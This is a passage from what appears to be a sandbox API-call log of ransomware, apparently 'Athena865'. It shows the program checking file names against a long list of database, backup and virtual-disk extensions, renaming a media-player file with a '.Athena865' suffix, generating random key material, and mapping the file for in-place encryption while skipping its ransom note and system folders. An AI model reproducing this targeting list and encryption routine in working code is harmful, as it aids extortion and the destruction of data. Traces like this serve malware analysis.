lpString2=".lnk") returned 1 [0096.245] lstrlenW (lpString=".ini") returned 4 [0096.245] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".ini") returned 1 [0096.245] lstrlenW (lpString=".sys") returned 4 [0096.245] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".sys") returned 1 [0096.245] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0096.245] lstrlenW (lpString="bak") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.245] lstrlenW (lpString="ba_") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.245] lstrlenW (lpString="dbb") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.245] lstrlenW (lpString="vmdk") returned 4 [0096.245] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.245] lstrlenW (lpString="rar") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.245] lstrlenW (lpString="zip") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.245] lstrlenW (lpString="tgz") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.245] lstrlenW (lpString="vbox") returned 4 [0096.245] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.245] lstrlenW (lpString="vdi") returned 3 [0096.245] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.246] lstrlenW (lpString="vhd") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.246] lstrlenW (lpString="vhdx") returned 4 [0096.246] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.246] lstrlenW (lpString="avhd") returned 4 [0096.246] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.246] lstrlenW (lpString="db") returned 2 [0096.246] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.246] lstrlenW (lpString="db2") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.246] lstrlenW (lpString="db3") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.246] lstrlenW (lpString="dbf") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.246] lstrlenW (lpString="mdf") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.246] lstrlenW (lpString="mdb") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.246] lstrlenW (lpString="sql") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.246] lstrlenW (lpString="sqlite") returned 6 [0096.246] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.246] lstrlenW (lpString="sqlite3") returned 7 [0096.246] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.246] lstrlenW (lpString="sqlitedb") returned 8 [0096.246] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.246] lstrlenW (lpString="xml") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.246] lstrlenW (lpString="$er") returned 3 [0096.246] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.246] lstrlenW (lpString="4dd") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.247] lstrlenW (lpString="4dl") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.247] lstrlenW (lpString="^^^") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.247] lstrlenW (lpString="abs") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.247] lstrlenW (lpString="abx") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.247] lstrlenW (lpString="accdb") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.247] lstrlenW (lpString="accdc") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.247] lstrlenW (lpString="accde") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0096.247] lstrlenW (lpString="accdr") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.247] lstrlenW (lpString="accdt") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.247] lstrlenW (lpString="accdw") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.247] lstrlenW (lpString="accft") returned 5 [0096.247] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.247] lstrlenW (lpString="adb") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.247] lstrlenW (lpString="adb") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.247] lstrlenW (lpString="ade") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.247] lstrlenW (lpString="adf") returned 3 [0096.247] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.248] lstrlenW (lpString="adn") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.248] lstrlenW (lpString="adp") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.248] lstrlenW (lpString="alf") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.248] lstrlenW (lpString="ask") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.248] lstrlenW (lpString="btr") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.248] lstrlenW (lpString="cat") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.248] lstrlenW (lpString="cdb") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.248] lstrlenW (lpString="ckp") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.248] lstrlenW (lpString="cma") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.248] lstrlenW (lpString="cpd") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.248] lstrlenW (lpString="dacpac") returned 6 [0096.248] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.248] lstrlenW (lpString="dad") returned 3 [0096.248] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.248] lstrlenW (lpString="dadiagrams") returned 10 [0096.248] lstrcmpiW (lpString1="is.dll.mui", lpString2="dadiagrams") returned 1 [0096.248] lstrlenW (lpString="daschema") returned 8 [0096.248] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.248] lstrlenW (lpString="db-journal") returned 10 [0096.248] lstrcmpiW (lpString1="is.dll.mui", lpString2="db-journal") returned 1 [0096.248] lstrlenW (lpString="db-shm") returned 6 [0096.248] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.249] lstrlenW (lpString="db-wal") returned 6 [0096.249] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.249] lstrlenW (lpString="dbc") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.249] lstrlenW (lpString="dbs") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.249] lstrlenW (lpString="dbt") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.249] lstrlenW (lpString="dbv") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.249] lstrlenW (lpString="dbx") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.249] lstrlenW (lpString="dcb") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.249] lstrlenW (lpString="dct") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0096.249] lstrlenW (lpString="dcx") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.249] lstrlenW (lpString="ddl") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.249] lstrlenW (lpString="dlis") returned 4 [0096.249] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.249] lstrlenW (lpString="dp1") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.249] lstrlenW (lpString="dqy") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.249] lstrlenW (lpString="dsk") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.249] lstrlenW (lpString="dsn") returned 3 [0096.249] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.249] lstrlenW (lpString="dtsx") returned 4 [0096.249] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.250] lstrlenW (lpString="dxl") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.250] lstrlenW (lpString="eco") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.250] lstrlenW (lpString="ecx") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.250] lstrlenW (lpString="edb") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.250] lstrlenW (lpString="epim") returned 4 [0096.250] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.250] lstrlenW (lpString="fcd") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.250] lstrlenW (lpString="fdb") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.250] lstrlenW (lpString="fic") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.250] lstrlenW (lpString="flexolibrary") returned 12 [0096.250] lstrcmpiW (lpString1="pvis.dll.mui", lpString2="flexolibrary") returned 1 [0096.250] lstrlenW (lpString="fm5") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.250] lstrlenW (lpString="fmp") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.250] lstrlenW (lpString="fmp12") returned 5 [0096.250] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0096.250] lstrlenW (lpString="fmpsl") returned 5 [0096.250] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0096.250] lstrlenW (lpString="fol") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.250] lstrlenW (lpString="fp3") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.250] lstrlenW (lpString="fp4") returned 3 [0096.250] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.251] lstrlenW (lpString="fp5") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.251] lstrlenW (lpString="fp7") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.251] lstrlenW (lpString="fpt") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.251] lstrlenW (lpString="frm") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.251] lstrlenW (lpString="gdb") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.251] lstrlenW (lpString="gdb") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.251] lstrlenW (lpString="grdb") returned 4 [0096.251] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.251] lstrlenW (lpString="gwi") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.251] lstrlenW (lpString="hdb") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.251] lstrlenW (lpString="his") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.251] lstrlenW (lpString="ib") returned 2 [0096.251] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.251] lstrlenW (lpString="idb") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.251] lstrlenW (lpString="ihx") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.251] lstrlenW (lpString="itdb") returned 4 [0096.251] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.251] lstrlenW (lpString="itw") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.251] lstrlenW (lpString="jet") returned 3 [0096.251] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.252] lstrlenW (lpString="jtx") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.252] lstrlenW (lpString="kdb") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.252] lstrlenW (lpString="kexi") returned 4 [0096.252] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.252] lstrlenW (lpString="kexic") returned 5 [0096.252] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0096.252] lstrlenW (lpString="kexis") returned 5 [0096.252] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0096.252] lstrlenW (lpString="lgc") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.252] lstrlenW (lpString="lwx") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.252] lstrlenW (lpString="maf") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.252] lstrlenW (lpString="maq") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.252] lstrlenW (lpString="mar") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.252] lstrlenW (lpString="marshal") returned 7 [0096.252] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0096.252] lstrlenW (lpString="mas") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.252] lstrlenW (lpString="mav") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.252] lstrlenW (lpString="maw") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.252] lstrlenW (lpString="mdbhtml") returned 7 [0096.252] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0096.252] lstrlenW (lpString="mdn") returned 3 [0096.252] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.253] lstrlenW (lpString="mdt") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.253] lstrlenW (lpString="mfd") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.253] lstrlenW (lpString="mpd") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.253] lstrlenW (lpString="mrg") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.253] lstrlenW (lpString="mud") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.253] lstrlenW (lpString="mwb") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.253] lstrlenW (lpString="myd") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.253] lstrlenW (lpString="ndf") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.253] lstrlenW (lpString="nnt") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.253] lstrlenW (lpString="nrmlib") returned 6 [0096.253] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0096.253] lstrlenW (lpString="ns2") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.253] lstrlenW (lpString="ns3") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.253] lstrlenW (lpString="ns4") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.253] lstrlenW (lpString="nsf") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.253] lstrlenW (lpString="nv") returned 2 [0096.253] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.253] lstrlenW (lpString="nv2") returned 3 [0096.253] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.254] lstrlenW (lpString="nwdb") returned 4 [0096.254] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.254] lstrlenW (lpString="nyf") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.254] lstrlenW (lpString="odb") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.254] lstrlenW (lpString="odb") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.254] lstrlenW (lpString="oqy") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.254] lstrlenW (lpString="ora") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.254] lstrlenW (lpString="orx") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.254] lstrlenW (lpString="owc") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.254] lstrlenW (lpString="p96") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.254] lstrlenW (lpString="p97") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.254] lstrlenW (lpString="pan") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.254] lstrlenW (lpString="pdb") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.254] lstrlenW (lpString="pdm") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.254] lstrlenW (lpString="pnz") returned 3 [0096.254] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.255] lstrlenW (lpString="qry") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.255] lstrlenW (lpString="qvd") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.255] lstrlenW (lpString="rbf") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.255] lstrlenW (lpString="rctd") returned 4 [0096.255] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.255] lstrlenW (lpString="rod") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.255] lstrlenW (lpString="rodx") returned 4 [0096.255] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.255] lstrlenW (lpString="rpd") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.255] lstrlenW (lpString="rsd") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.255] lstrlenW (lpString="sas7bdat") returned 8 [0096.255] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0096.255] lstrlenW (lpString="sbf") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.255] lstrlenW (lpString="scx") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.255] lstrlenW (lpString="sdb") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.255] lstrlenW (lpString="sdc") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.255] lstrlenW (lpString="sdf") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.255] lstrlenW (lpString="sis") returned 3 [0096.255] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.256] lstrlenW (lpString="spq") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.256] lstrlenW (lpString="te") returned 2 [0096.256] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.256] lstrlenW (lpString="teacher") returned 7 [0096.256] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0096.256] lstrlenW (lpString="tmd") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.256] lstrlenW (lpString="tps") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.256] lstrlenW (lpString="trc") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.256] lstrlenW (lpString="trc") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.256] lstrlenW (lpString="trm") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.256] lstrlenW (lpString="udb") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.256] lstrlenW (lpString="udl") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.256] lstrlenW (lpString="usr") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.256] lstrlenW (lpString="v12") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.256] lstrlenW (lpString="vis") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.256] lstrlenW (lpString="vpd") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.256] lstrlenW (lpString="vvv") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.256] lstrlenW (lpString="wdb") returned 3 [0096.256] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.257] lstrlenW (lpString="wmdb") returned 4 [0096.257] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.257] lstrlenW (lpString="wrk") returned 3 [0096.257] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.257] lstrlenW (lpString="xdb") returned 3 [0096.257] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.257] lstrlenW (lpString="xld") returned 3 [0096.257] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.257] lstrlenW (lpString="xmlff") returned 5 [0096.257] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0096.257] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865") returned 73 [0096.257] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\mpvis.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\mpvis.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\mpvis.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.259] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0096.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.260] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.260] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.260] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.260] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0096.262] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0096.264] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.265] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.265] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.266] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.266] CloseHandle (hObject=0x17c) returned 1 [0096.266] CloseHandle (hObject=0x154) returned 1 [0096.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.266] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="windows") returned -1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="bootmgr") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="temp") returned -1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="pagefile.sys") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot") returned 1 [0096.266] lstrcmpiW 